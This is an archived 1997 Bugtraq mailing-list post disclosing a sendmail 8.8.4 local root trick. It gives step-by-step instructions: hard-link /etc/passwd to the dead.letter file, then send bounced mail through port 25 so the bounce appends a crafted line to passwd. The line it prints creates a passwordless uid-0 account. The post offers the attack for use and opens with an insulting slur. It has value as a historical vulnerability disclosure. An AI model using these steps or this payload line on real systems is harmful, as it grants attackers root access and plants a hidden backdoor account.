[4193] in bugtraq
No subject found in mail header
daemon@ATHENA.MIT.EDU (C0WZ1LL4@NETSPACE.ORG)
Mon Mar 24 05:09:59 1997
Date: Sat, 22 Mar 1997 02:30:49 -0500
Reply-To: C0WZ1LL4@NETSPACE.ORG
From: C0WZ1LL4@NETSPACE.ORG
To: BUGTRAQ@NETSPACE.ORG
Hello fellow mongoloids
Try this:
Make hard link of /etc/passwd to /var/tmp/dead.letter
Telnet to port 25, send mail from some bad email address to some unreacheable hoost.
Watch your message get appended to passwd.
ie:
cowzilla::0:0:c0wz1ll4 0wns u:/:/bin/sh
This is not good. Worked with my 8.8.4, will probably also work with 8.8.5
Root for the whole family
-Cowzilla the omnipotent b0v1n3
PD
Greets to various #2600 people
